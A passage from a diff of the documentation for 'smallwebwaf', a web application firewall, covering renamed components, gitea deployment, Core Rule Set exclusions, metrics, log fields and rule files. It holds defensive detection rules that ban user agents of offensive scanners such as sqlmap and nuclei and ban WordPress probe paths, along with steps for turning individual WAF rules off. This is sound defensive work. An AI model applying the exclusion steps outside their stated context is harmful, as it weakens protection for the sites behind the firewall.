- LFS: `GET`, `POST` and `PUT`;
|
||||
- the container registry and the other package registries: `GET`, `HEAD`,
|
||||
`POST`, `PUT`, `PATCH` and `DELETE`;
|
||||
- Actions runners: `POST`.
|
||||
|
||||
## The log
|
||||
|
||||
`rproxy` and `servewaf` write each query string to the log whole. A token sent
|
||||
in the query string, as `?token=`, is then in the log. Send it in the
|
||||
`Authorization` header instead.
|
||||
|
||||
## Actions runners
|
||||
|
||||
A runner on the shared network skips the checks. One on another host is counted
|
||||
like any client. A runner older than version 0.4 (April 2026) asks for work
|
||||
every 2 seconds, 1,800 requests an hour. While it runs a job, it reports the
|
||||
job's log and state every second instead, two requests a second.
|
||||
|
||||
So one idle runner makes 1,800 requests an hour, more than the hour limit of
|
||||
1,500. A busy one, at two requests a second, passes the minute limit of 120
|
||||
within two minutes. Its address is then banned, its running jobs fail, and each
|
||||
repeat within a day makes the ban longer. Newer runners ask for work less often.
|
||||
Put the runners' addresses in `SWWAF_RATE_LIMIT_EXEMPT_NETS`.
|
||||
|
||||
## The Core Rule Set's exclusions
|
||||
|
||||
`deploy/gitea/crs-exclusions.conf` switches single Core Rule Set rules off where
|
||||
they refused ordinary gitea requests. `servewaf` loads it from
|
||||
`SWWAF_CORE_RULE_SET_EXCLUSIONS_FILE`, before the Core Rule Set's rules. Each
|
||||
exclusion covers one rule, in these places only:
|
||||
|
||||
- `q`, the text of every search;
|
||||
- the query parameters that hold a file name: `file`, `path`, `template`, `body`
|
||||
and `redirect_to`;
|
||||
- the query parameters that hold a branch or tag name: `name`, `tag`,
|
||||
`rule_name` and `refSubUrl`;
|
||||
- `Referer`, on a page opened from search results or from a file's page;
|
||||
- the path of a file's page, raw file, blame, history and edit page, and of the
|
||||
API's call for its contents;
|
||||
- `name`, the file name of an attachment uploaded through the API;
|
||||
- the header `Content-Range` of an Actions artifact upload.
|
||||
|
||||
gitea reads these as text to search for, as names in a repository, or, for
|
||||
`Content-Range`, as the part of a file an upload carries. It never runs them as
|
||||
SQL, a command or a page's script. So an attack that only the excluded rules
|
||||
would catch there reaches gitea and does nothing. Every other field and path
|
||||
keeps every rule.
|
||||
|
||||
To add an exclusion for a request the Core Rule Set refuses:
|
||||
|
||||
1. Find the request in `servewaf`'s log. Its line gives the path and query, and
|
||||
names the rules in `waf_rule_ids`.
|
||||
2. For each rule, add a line with `ctl:ruleRemoveTargetById` for the field it
|
||||
matched. For a field on every path, copy one of the file's `SecAction` lines.
|
||||
For some paths only, copy one of its `SecRule REQUEST_FILENAME` lines. Give
|
||||
it a new id. An id from 900000 to 900999 stops the start.
|
||||
3. Above it, write a one-line comment naming the request it refused.
|
||||
4. Add the request to `internal/waf/testdata/gitea-requests.txt`, and run
|
||||
`make check`.
|
||||
5. Restart `servewaf`.
|
||||
|
||||
The Core Rule Set still refuses the page of a file in a directory named `...`,
|
||||
which reads as path traversal.
|
||||
|
||||
With `SWWAF_WAF_BODY_LIMIT` set, it also refuses issue text, comments, wiki
|
||||
pages and files saved in the web editor that hold shell commands or code.
|
||||
|
||||
`make gitea-requests` runs gitea behind `rproxy` and `servewaf` at the defaults,
|
||||
without these exclusions. It reports each request the Core Rule Set refuses
|
||||
there.
|
||||
+9
-8
@@ -1,7 +1,7 @@
|
||||
# What the image holds
|
||||
|
||||
The contents of the `smallwebwaf` image, and how each part is pinned. The image
|
||||
runs `rproxy` by default, or `discriminator` with `SWW_COMMAND=discriminator`.
|
||||
runs `rproxy` by default, or `servewaf` with `SMALLWEBWAF_COMMAND=servewaf`.
|
||||
"Deployment" in [`SPEC.md`](../SPEC.md) says why each part is there and why it
|
||||
is pinned that way.
|
||||
|
||||
@@ -15,12 +15,13 @@ is pinned that way.
|
||||
Unpacked, nixpkgs takes about 500 MiB.
|
||||
- `runsvinit` as the entrypoint, built from `github.com/peterbourgon/runsvinit`
|
||||
at a fixed commit hash.
|
||||
- The `sww` binary, and the user `sww` (uid and gid 65532).
|
||||
- The service directory `/etc/service/sww`, with the `run` script
|
||||
`share/sww.run`.
|
||||
- `/var/lib/sww` for `discriminator`'s state files, and `/etc/sww/rules.d` with
|
||||
the default rule file `share/rules.d/00-default.rules`.
|
||||
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
|
||||
- The `smallwebwaf` binary, and the user `smallwebwaf` (uid and gid 65532).
|
||||
- The service directory `/etc/service/smallwebwaf`, with the `run` script
|
||||
`share/smallwebwaf.run`.
|
||||
- `/var/lib/smallwebwaf` for `servewaf`'s state files, and
|
||||
`/etc/smallwebwaf/rules.d` with the default rule file
|
||||
`share/rules.d/00-default.rules`.
|
||||
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `smallwebwaf healthcheck`.
|
||||
|
||||
## Pins
|
||||
|
||||
@@ -32,4 +33,4 @@ is pinned that way.
|
||||
- `runsvinit`: the archived repository, unchanged since 2015, at its last commit
|
||||
(`b4b2c78`, eight commits after `v2.0.0`), by commit hash, with a `go.mod` the
|
||||
build writes.
|
||||
- The Go image that builds `sww`: by digest.
|
||||
- The Go image that builds `smallwebwaf`: by digest.
|
||||
+48
-43
@@ -1,85 +1,90 @@
|
||||
# The metrics
|
||||
|
||||
What `GET /_sww/metrics` answers with, at `discriminator`'s own address.
|
||||
What `GET /_smallwebwaf/metrics` answers with, at `servewaf`'s own address.
|
||||
"Metrics endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus
|
||||
keeps the `instance` label as `exported_instance` unless the scrape sets
|
||||
`honor_labels: true`. `rproxy` has no metrics.
|
||||
|
||||
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
|
||||
body bytes, never headers, whatever `SWW_BYTES_COUNT` says.
|
||||
|
||||
## Traffic
|
||||
|
||||
- `sww_requests_total`, `sww_request_bytes_total` and
|
||||
`sww_response_bytes_total`, by `status_class` such as `2xx` and by `action`;
|
||||
- `sww_request_duration_seconds` and `sww_upstream_duration_seconds`, as
|
||||
histograms;
|
||||
- `sww_requests_in_flight`: the questions and requests to its own endpoints that
|
||||
`discriminator` is handling.
|
||||
- `smallwebwaf_requests_total`, `smallwebwaf_request_bytes_total` and
|
||||
`smallwebwaf_response_bytes_total`, by `status_class` such as `2xx` and by
|
||||
`action`;
|
||||
- `smallwebwaf_request_duration_seconds` and
|
||||
`smallwebwaf_upstream_duration_seconds`, as histograms;
|
||||
- `smallwebwaf_requests_in_flight`: the questions and requests to its own
|
||||
endpoints that `servewaf` is handling.
|
||||
|
||||
## Limits and bans
|
||||
|
||||
- `sww_rate_limit_hits_total`, by `window` and by `kind` (`requests`, `bytes` or
|
||||
`refusals`);
|
||||
- `sww_offences_total`, by `kind`;
|
||||
- `sww_bans_made_total`, by `cause`;
|
||||
- `sww_active_bans` and `sww_permanent_bans`.
|
||||
- `smallwebwaf_rate_limit_hits_total`, by `window` and by `kind` (`requests`,
|
||||
`bytes` or `refusals`);
|
||||
- `smallwebwaf_offences_total`, by `kind`;
|
||||
- `smallwebwaf_bans_made_total`, by `cause`;
|
||||
- `smallwebwaf_active_bans` and `smallwebwaf_permanent_bans`.
|
||||
|
||||
## Attack detection
|
||||
|
||||
- `sww_rule_matches_total`, by `rule_id` and `action`, and `sww_rules_loaded`;
|
||||
- `sww_core_rule_set_matches_total`, by `mode` and `rule_id`, for the rules that
|
||||
- `smallwebwaf_rule_matches_total`, by `rule_id` and `action`, and
|
||||
`smallwebwaf_rules_loaded`;
|
||||
- `smallwebwaf_waf_matches_total`, by `mode` and `rule_id`, for the rules that
|
||||
fired.
|
||||
|
||||
## Countries and AS numbers
|
||||
|
||||
For the `SWW_METRICS_TOP_N` busiest of each, the rest as `other`:
|
||||
For the `SWWAF_METRICS_TOP_N` busiest of each, the rest as `other`:
|
||||
|
||||
- `sww_country_requests_total`, `sww_country_request_bytes_total`,
|
||||
`sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
|
||||
`country`;
|
||||
- `sww_asn_requests_total`, `sww_asn_request_bytes_total` and
|
||||
`sww_asn_response_bytes_total`, by `asn`.
|
||||
- `smallwebwaf_country_requests_total`,
|
||||
`smallwebwaf_country_request_bytes_total`,
|
||||
`smallwebwaf_country_response_bytes_total` and
|
||||
`smallwebwaf_country_list_refusals_total`, by `country`;
|
||||
- `smallwebwaf_asn_requests_total`, `smallwebwaf_asn_request_bytes_total` and
|
||||
`smallwebwaf_asn_response_bytes_total`, by `asn`.
|
||||
|
||||
## Lookups
|
||||
|
||||
- `sww_geojs_requests_total` and `sww_geojs_failures_total`;
|
||||
- `sww_requests_without_geojs_answer_total`: the requests that needed an answer
|
||||
and went on without it;
|
||||
- with the file source, `sww_lookup_database_last_read_timestamp_seconds` and
|
||||
`sww_lookup_database_read_failures_total`.
|
||||
- `smallwebwaf_geojs_requests_total` and `smallwebwaf_geojs_failures_total`;
|
||||
- `smallwebwaf_geojs_unanswered_total`: the requests that needed an answer and
|
||||
went on without it;
|
||||
- with the file source,
|
||||
`smallwebwaf_lookup_database_last_read_timestamp_seconds` and
|
||||
`smallwebwaf_lookup_database_read_failures_total`.
|
||||
|
||||
## Reputation sources
|
||||
|
||||
By `source`: each list's URL, each zone, and `abuseipdb`:
|
||||
|
||||
- `sww_reputation_hits_total`, `sww_reputation_queries_total` and
|
||||
`sww_reputation_failures_total`;
|
||||
- `sww_reputation_last_fetch_timestamp_seconds`, for a list;
|
||||
- `sww_reputation_daily_budget_remaining`, for AbuseIPDB.
|
||||
- `smallwebwaf_reputation_hits_total`, `smallwebwaf_reputation_queries_total`
|
||||
and `smallwebwaf_reputation_failures_total`;
|
||||
- `smallwebwaf_reputation_last_fetch_timestamp_seconds`, for a list;
|
||||
- `smallwebwaf_reputation_daily_budget_remaining`, for AbuseIPDB.
|
||||
|
||||
## State files
|
||||
|
||||
By `file`:
|
||||
|
||||
- `sww_state_file_writes_total`, `sww_state_file_write_failures_total`,
|
||||
`sww_state_file_last_write_timestamp_seconds` and `sww_state_file_size_bytes`;
|
||||
- `sww_state_file_edits_taken_in_total` and
|
||||
`sww_state_file_edits_set_aside_total`;
|
||||
- `sww_tracked_clients`: the clients in the table.
|
||||
- `smallwebwaf_state_file_writes_total`,
|
||||
`smallwebwaf_state_file_write_failures_total`,
|
||||
`smallwebwaf_state_file_last_write_timestamp_seconds` and
|
||||
`smallwebwaf_state_file_size_bytes`;
|
||||
- `smallwebwaf_state_file_edits_taken_in_total` and
|
||||
`smallwebwaf_state_file_edits_set_aside_total`;
|
||||
- `smallwebwaf_tracked_clients`: the clients in the table.
|
||||
|
||||
## Remote log, alerts and the process
|
||||
|
||||
- while a syslog server is set, `sww_remote_log_lines_sent_total`,
|
||||
`sww_remote_log_lines_dropped_total` and `sww_remote_log_lines_waiting`;
|
||||
- by `destination`, `sww_alerts_sent_total`, `sww_alert_send_failures_total`,
|
||||
`sww_alerts_suppressed_total` and `sww_alerts_dropped_total`;
|
||||
- while a syslog server is set, `smallwebwaf_remote_log_lines_sent_total`,
|
||||
`smallwebwaf_remote_log_lines_dropped_total` and
|
||||
`smallwebwaf_remote_log_buffer_depth`;
|
||||
- by `destination`, `smallwebwaf_alerts_sent_total`,
|
||||
`smallwebwaf_alerts_failed_total`, `smallwebwaf_alerts_suppressed_total` and
|
||||
`smallwebwaf_alerts_dropped_total`;
|
||||
- Go's own `go_` metrics and the process's `process_` metrics.
|
||||
|
||||
## When a request is counted
|
||||
|
||||
`discriminator` counts a denied request at its decision, and a request to its
|
||||
own endpoints when it is answered. It counts an allowed request when its report
|
||||
`servewaf` counts a denied request at its decision, and a request to its own
|
||||
endpoints when it is answered. It counts an allowed request when its report
|
||||
comes, with the status, bytes and times the report gives. These are not counted:
|
||||
|
||||
- a report itself;
|
||||
|
||||
+64
-108
@@ -1,32 +1,32 @@
|
||||
# The request log's fields
|
||||
|
||||
The fields of the JSON objects `rproxy` and `discriminator` write about each
|
||||
request. "Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line
|
||||
is written and how the log is sent to a syslog server. A field that does not
|
||||
apply to a request is left out.
|
||||
The fields of the JSON objects `rproxy` and `servewaf` write about each request.
|
||||
"Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line is
|
||||
written and how the log is sent to a syslog server. A field that does not apply
|
||||
to a request is left out.
|
||||
|
||||
## `discriminator`'s lines
|
||||
## `servewaf`'s lines
|
||||
|
||||
`sww discriminator` writes two lines for each question it answers, joined by
|
||||
`request_id`. The field `discriminator_line` says which of the two a line is:
|
||||
`smallwebwaf servewaf` writes two lines for each question it answers, joined by
|
||||
`request_id`. The field `servewaf_line` says which of the two a line is:
|
||||
|
||||
- `decision`: the line it writes once it has answered the question;
|
||||
- `report`: the line it writes when `rproxy`'s report comes, with everything
|
||||
known. The repetition is intended.
|
||||
|
||||
A request to its own endpoints writes one line, without `discriminator_line`. A
|
||||
A request to its own endpoints writes one line, without `servewaf_line`. A
|
||||
report writes no line but the `report` line of the request it names.
|
||||
|
||||
These questions write no line:
|
||||
|
||||
- a question refused with `400` (see "The question" under "`discriminator`" in
|
||||
- a question refused with `400` (see "The question" under "`servewaf`" in
|
||||
[`SPEC.md`](../SPEC.md));
|
||||
- a question whose body stopped arriving, which gets no answer.
|
||||
|
||||
A `report` line:
|
||||
|
||||
```
|
||||
{"type":"request","discriminator_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/discriminator","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"core_rule_set_score":0,"duration_total_ms":3.217,"duration_checks_ms":0.041,"duration_core_rule_set_ms":0.029,"duration_upstream_total_ms":3.104}
|
||||
{"type":"request","servewaf_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/servewaf","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"waf_score":0,"duration_total":3.217,"duration_checks":0.041,"duration_waf":0.029,"duration_upstream_total":3.104}
|
||||
```
|
||||
|
||||
### Every line
|
||||
@@ -37,14 +37,14 @@ Every one of these lines has:
|
||||
- the standard web log fields;
|
||||
- `request_id`, `peer_ip` and `client_group`;
|
||||
- `asn`, `as_name` and `country`;
|
||||
- `action` and `duration_total_ms`.
|
||||
- `action` and `duration_total`.
|
||||
|
||||
### Standard web log fields
|
||||
|
||||
- `time`: when `discriminator` had read the question's body, RFC 3339 with
|
||||
- `time`: when `servewaf` had read the question's body, RFC 3339 with
|
||||
milliseconds, in UTC. The `report` line gives the same time as the `decision`
|
||||
line.
|
||||
- `instance`: `SWW_INSTANCE_NAME`.
|
||||
- `instance`: `SWWAF_INSTANCE_NAME`.
|
||||
- `client_ip`: the visitor's address, as `rproxy` worked it out.
|
||||
- `method`, `path` and `query`: the visitor's request.
|
||||
- `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of
|
||||
@@ -52,9 +52,8 @@ Every one of these lines has:
|
||||
- `host`: the site the visitor asked for.
|
||||
- `protocol`: the question's own, `HTTP/1.1`.
|
||||
- `status`:
|
||||
- on the `decision` line, what `discriminator` answered: `200` for `allow`,
|
||||
the status of `deny`, or `0` for `close`, as the visitor is then sent
|
||||
nothing;
|
||||
- on the `decision` line, what `servewaf` answered: `200` for `allow`, the
|
||||
status of `deny`, or `0` for `close`, as the visitor is then sent nothing;
|
||||
- on the `report` line, what the visitor got, `0` if nothing.
|
||||
- `request_bytes`:
|
||||
- on the `decision` line, how much of the question's body the Core Rule Set
|
||||
@@ -62,7 +61,7 @@ Every one of these lines has:
|
||||
- on the `report` line, the bytes of the visitor's body that `rproxy` read,
|
||||
with what a WebSocket carried from the visitor.
|
||||
- `response_bytes`:
|
||||
- on the `decision` line, the body of `discriminator`'s answer;
|
||||
- on the `decision` line, the body of `servewaf`'s answer;
|
||||
- on the `report` line, the bytes of the answer's body, with what a
|
||||
WebSocket carried from the app.
|
||||
- `referer` and `user_agent`.
|
||||
@@ -79,109 +78,66 @@ Every one of these lines has:
|
||||
- lookups are off;
|
||||
- the client is not looked up;
|
||||
- the source cannot place the client;
|
||||
- GeoJS had not answered by the time `discriminator` answered.
|
||||
- GeoJS had not answered by the time `servewaf` answered.
|
||||
- `content_type`: the visitor's `Content-Type`.
|
||||
- `content_length`: the body length the visitor announced.
|
||||
- `request_headers`: the headers listed in `SWW_LOG_REQUEST_HEADERS`, by name in
|
||||
lower case.
|
||||
- `request_headers`: the headers listed in `SWWAF_LOG_REQUEST_HEADERS`, by name
|
||||
in lower case.
|
||||
- `has_authorization` and `has_cookie`: true when the request had those headers.
|
||||
Their values are never logged.
|
||||
|
||||
### Response detail
|
||||
|
||||
- `response_content_type`: the type of `discriminator`'s own answer.
|
||||
- `response_content_type`: the type of `servewaf`'s own answer.
|
||||
- `aborted`: true when `rproxy` went away before the answer.
|
||||
|
||||
### Decision
|
||||
|
||||
- `action`: what was done:
|
||||
- `forward`: answered `allow`, so that `rproxy` passes it to the app;
|
||||
- `client_denied`: refused for `SWW_DENY_NETS`, for a reputation source with
|
||||
the action `deny`, or for a tag in `SWW_TAG_DENY`;
|
||||
- `temporarily_banned`: refused under a ban that runs out, or for a `ban`
|
||||
rule, a trap path or a CrowdSec decision that made such a ban;
|
||||
- `permanently_banned`: refused under a ban that never runs out, including a
|
||||
ban this request made or made permanent;
|
||||
- `country_denied`, `client_is_rate_limited`, `blocked_by_block_rule` and
|
||||
`blocked_by_core_rule_set`: refused by that check;
|
||||
- `request_header_too_large`: over a header limit;
|
||||
- `own_endpoint`: answered at one of `discriminator`'s own endpoints, or
|
||||
`404` for a path under `/_sww/`.
|
||||
- `denied`: refused for `SWWAF_DENY_NETS`, or for a reputation source with
|
||||
the action `deny`;
|
||||
- `banned`: refused under a ban, or for a `ban` rule, a trap path or a
|
||||
CrowdSec decision, each of which bans the client;
|
||||
- `country_denied`, `rate_limited`, `rule_blocked` and `waf_blocked`:
|
||||
refused by that check;
|
||||
- `too_large`: over a header limit;
|
||||
- `admin`: answered at one of `servewaf`'s own endpoints, or `404` for a
|
||||
path under `/_smallwebwaf/`.
|
||||
- `would_action`: in `observe` mode, what `enforce` mode would have done with a
|
||||
request it would have refused. `action` then names what was done, normally
|
||||
`forward`.
|
||||
- `heuristic`: the heuristic that refused the request, in `observe` mode too. It
|
||||
is left out when none did.
|
||||
- `heuristic_figures`: an object of the figures that heuristic acted on. Each
|
||||
heuristic and its figures:
|
||||
- `deny_nets`: `netblock`, the entry of `SWW_DENY_NETS` the client is in;
|
||||
- `active_ban`: `netblock`, the ban's netblock, and `ban_expires`;
|
||||
- `countries`: `country`, and `setting`, the country list that refused it;
|
||||
- `tag_deny`: `tag`, the tag of `SWW_TAG_DENY` the request carries;
|
||||
- `blocklists`: `lists`, the blocklist URLs that list the client;
|
||||
- `crowdsec`: `scenario`, the decision's scenario, and `expires`, when the
|
||||
decision ends;
|
||||
- `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys
|
||||
masked;
|
||||
- `abuseipdb`: `score`, and `min_score`, `SWW_ABUSEIPDB_MIN_SCORE`;
|
||||
- `rate_limits`: `window`, `count` and `limit`;
|
||||
- `trap_paths`: `path`, the trap path asked for;
|
||||
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
|
||||
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
|
||||
- `core_rule_set`: `score`, and `threshold`, `SWW_WAF_ANOMALY_THRESHOLD`;
|
||||
- `refusal_limit`: `window`, `count` and `limit`, of the error burst;
|
||||
- `byte_limits`: `window`, `count` and `limit`, the count in bytes.
|
||||
- `after_answer_heuristic`: the heuristic that banned the client after
|
||||
`discriminator` answered the request, in `observe` mode too: `refusal_limit`
|
||||
or `byte_limits`.
|
||||
- `after_answer_heuristic_figures`: an object of the figures that heuristic
|
||||
acted on, as listed above.
|
||||
|
||||
`byte_limits` bans when the report comes, so only the `report` line names
|
||||
it.
|
||||
|
||||
- `rate_limit_percent` and `rate_limit_percent_setting`: the client's percentage
|
||||
of the rate limits and the setting that lowered it, when one did.
|
||||
`bytes_limit_percent` and `bytes_limit_percent_setting` do the same for the
|
||||
byte limits.
|
||||
- `limit_percent` and `limit_percent_setting`: the client's percentage of the
|
||||
rate limits and the setting that lowered it, when one did. `bytes_percent` and
|
||||
`bytes_percent_setting` do the same for the byte limits.
|
||||
- `counts`: the client's totals as rate limiting counts them, this request
|
||||
included. It is left out when rate limiting did not count the request. It
|
||||
holds:
|
||||
- `minute`, `hour` and `day`: requests;
|
||||
- `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
|
||||
`SWW_BYTES_COUNT` names, in that window.
|
||||
- `minute_bytes`, `hour_bytes` and `day_bytes`: bytes.
|
||||
|
||||
A count can have a fraction (see "Counting method" in
|
||||
[`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
|
||||
response are added when its report comes. So on the `decision` line, the
|
||||
three byte totals leave them out.
|
||||
[`SPEC.md`](../SPEC.md)). The bytes of an allowed request are counted when
|
||||
its report comes. So on the `decision` line, the bytes are without this
|
||||
request's.
|
||||
|
||||
- `limit_hit`: the limit broken:
|
||||
- `minute`, `hour` or `day` for a rate limit;
|
||||
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
|
||||
- `minute_refusals` for the error burst (`SWW_ERROR_BURST_THRESHOLD`).
|
||||
- `error_burst`.
|
||||
|
||||
When the bytes counted for a request and its response break a limit, the
|
||||
request has been passed on whole, so its `action` stays `forward`. Only its
|
||||
`report` line gives that limit.
|
||||
A request whose bytes broke a limit was passed on whole, so its `action`
|
||||
stays `forward`. Only its `report` line gives that limit.
|
||||
|
||||
- `rule_ids`: the rule file rules that matched, in order, up to the one that
|
||||
refused.
|
||||
- `core_rule_set_score` and `core_rule_set_rule_ids`: the Core Rule Set's score
|
||||
and the rules that matched, for a request it inspected.
|
||||
- `waf_score` and `waf_rule_ids`: the Core Rule Set's score and the rules that
|
||||
matched, for a request it inspected.
|
||||
- `reputation`: the sources the client is on, in this order:
|
||||
- blocklist URLs;
|
||||
- the CrowdSec decision list's URL;
|
||||
- DNS blocklist zones;
|
||||
- `abuseipdb`.
|
||||
- `tags`: the request's tags, sorted, left out when it has none. Each tag and
|
||||
where it comes from is under "Request tags" in [`SPEC.md`](../SPEC.md).
|
||||
- `routewatch_tags_missing`: why the request got no tags from routewatch,
|
||||
present only while `SWW_ROUTEWATCH_URL` is set:
|
||||
- `no_answer_yet`: routewatch has not answered about this client yet;
|
||||
- `request_failed`: a query to routewatch failed within the last minute, and
|
||||
the process log says why;
|
||||
- `no_route`: routewatch knows no live route for the address.
|
||||
- `offence`: `limit`, for a request that broke a limit.
|
||||
- `ban_expires`: when the client's ban ends, for a request that made one or was
|
||||
refused under one: a time, or `permanent`.
|
||||
@@ -190,33 +146,33 @@ Every one of these lines has:
|
||||
|
||||
All in milliseconds:
|
||||
|
||||
- `duration_total_ms`:
|
||||
- on the `decision` line, from `discriminator` having read the question's
|
||||
body to the line;
|
||||
- `duration_total`:
|
||||
- on the `decision` line, from `servewaf` having read the question's body to
|
||||
the line;
|
||||
- on the `report` line, from `rproxy` having read the request's headers to
|
||||
the end of the answer.
|
||||
- `duration_checks_ms`: to the end of the checks;
|
||||
- `duration_core_rule_set_ms`: the part of that the Core Rule Set took;
|
||||
- `duration_upstream_total_ms`: on the `report` line of an allowed request, from
|
||||
- `duration_checks`: to the end of the checks;
|
||||
- `duration_waf`: the part of that the Core Rule Set took;
|
||||
- `duration_upstream_total`: on the `report` line of an allowed request, from
|
||||
the hand-over to the app to the end of the answer.
|
||||
|
||||
### Requests to its own endpoints
|
||||
|
||||
The line of a request to `discriminator`'s own endpoints has these fields, with
|
||||
these meanings where they differ:
|
||||
The line of a request to `servewaf`'s own endpoints has these fields, with these
|
||||
meanings where they differ:
|
||||
|
||||
- `client_ip` and `peer_ip`: the request's TCP peer.
|
||||
- `request_id`: a new random one of 26 letters and digits.
|
||||
- `scheme`: `http`.
|
||||
- `time`: when the request's headers had been read.
|
||||
- `request_bytes`: the bytes read of a ban to add, and otherwise `0`.
|
||||
- `action`: `own_endpoint`.
|
||||
- `duration_total_ms`: from the request's headers being read to the line.
|
||||
- `action`: `admin`.
|
||||
- `duration_total`: from the request's headers being read to the line.
|
||||
|
||||
## `rproxy`'s line
|
||||
|
||||
`sww rproxy` writes one short line for each request. `request_id` joins it to
|
||||
`discriminator`'s two. It has these fields and no others:
|
||||
`smallwebwaf rproxy` writes one short line for each request. `request_id` joins
|
||||
it to `servewaf`'s two. It has these fields and no others:
|
||||
|
||||
- `type`: `request`.
|
||||
- `time`: when the request arrived, RFC 3339 with milliseconds, in UTC.
|
||||
@@ -229,22 +185,22 @@ these meanings where they differ:
|
||||
a WebSocket carried from the visitor.
|
||||
- `response_bytes`: the bytes of the answer's body, with what a WebSocket
|
||||
carried from the app.
|
||||
- `duration_request_ms`: milliseconds from the request's headers being read
|
||||
until the app had been sent the whole request, or the answer started if that
|
||||
was sooner. It includes the wait for `discriminator`.
|
||||
- `duration_response_ms`: milliseconds from then until the end of the answer.
|
||||
- `duration_request`: milliseconds from the request's headers being read until
|
||||
the app had been sent the whole request, or the answer started if that was
|
||||
sooner. It includes the wait for `servewaf`.
|
||||
- `duration_response`: milliseconds from then until the end of the answer.
|
||||
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It
|
||||
is `discriminator`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is
|
||||
left out when:
|
||||
- `discriminator` was not asked, as for the health check;
|
||||
- the visitor went away while `discriminator` was being asked;
|
||||
- `discriminator`'s answer had no valid `X-Sww-Disposition`;
|
||||
- `rproxy` could not pass on `discriminator`'s answer, and answered `502`.
|
||||
is `servewaf`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is left
|
||||
out when:
|
||||
- `servewaf` was not asked, as for the health check;
|
||||
- the visitor went away while `servewaf` was being asked;
|
||||
- `servewaf`'s answer had no valid `X-Smallwebwaf-Disposition`;
|
||||
- `rproxy` could not pass on `servewaf`'s answer, and answered `502`.
|
||||
- `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave
|
||||
`disposition`, and otherwise left out.
|
||||
|
||||
For example:
|
||||
|
||||
```
|
||||
{"type":"request","time":"2026-10-03T12:00:00.123Z","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","client_ip":"203.0.113.9","host":"app.example","method":"GET","path":"/","query":"","status":200,"request_bytes":0,"response_bytes":5120,"duration_request_ms":1.204,"duration_response_ms":3.104,"disposition":"allow"}
|
||||
{"type":"request","time":"2026-10-03T12:00:00.123Z","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","client_ip":"203.0.113.9","host":"app.example","method":"GET","path":"/","query":"","status":200,"request_bytes":0,"response_bytes":5120,"duration_request":1.204,"duration_response":3.104,"disposition":"allow"}
|
||||
```
|
||||
+8
-9
@@ -32,7 +32,7 @@ scanner-agent user_agent ban (?i)\b(sqlmap|nikto|nuclei|wpscan)\b
|
||||
## The default file
|
||||
|
||||
The image ships one file, `share/rules.d/00-default.rules`, installed as
|
||||
`/etc/sww/rules.d/00-default.rules`:
|
||||
`/etc/smallwebwaf/rules.d/00-default.rules`:
|
||||
|
||||
```
|
||||
# 00-default.rules: probes no real visitor sends, anchored at the site root
|
||||
@@ -54,20 +54,19 @@ empty-agent user_agent log ^$
|
||||
|
||||
## A file of your own
|
||||
|
||||
`discriminator` reads the rule files in its own container. Rules of your own go
|
||||
in a file named to sort after the default, such as `50-site.rules`:
|
||||
`servewaf` reads the rule files in its own container. Rules of your own go in a
|
||||
file named to sort after the default, such as `50-gitea.rules`:
|
||||
|
||||
```
|
||||
# 50-site.rules: WordPress probes, which this site never serves
|
||||
# 50-gitea.rules: WordPress probes, which gitea never serves
|
||||
wp-probe path ban (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/)
|
||||
```
|
||||
|
||||
A `Dockerfile` built on the `smallwebwaf` image, for `discriminator` to run
|
||||
from, adds it:
|
||||
A `Dockerfile` built on the `smallwebwaf` image, for `servewaf` to run from,
|
||||
adds it:
|
||||
|
||||
```dockerfile
|
||||
COPY 50-site.rules /etc/sww/rules.d/50-site.rules
|
||||
COPY 50-gitea.rules /etc/smallwebwaf/rules.d/50-gitea.rules
|
||||
```
|
||||
|
||||
Or mount it there. A `path` rule applies on every site behind that
|
||||
`discriminator`.
|
||||
Or mount it there. A `path` rule applies on every site behind that `servewaf`.
|
||||
+192
-251
@@ -4,9 +4,9 @@ Every setting, its default and the values it takes, in the groups of "Settings"
|
||||
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
|
||||
that take `off`, the `_FILE` form, and what each group does and why.
|
||||
|
||||
The settings that start with `SWW_` are `discriminator`'s. Those that start with
|
||||
`SWRP_` are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses
|
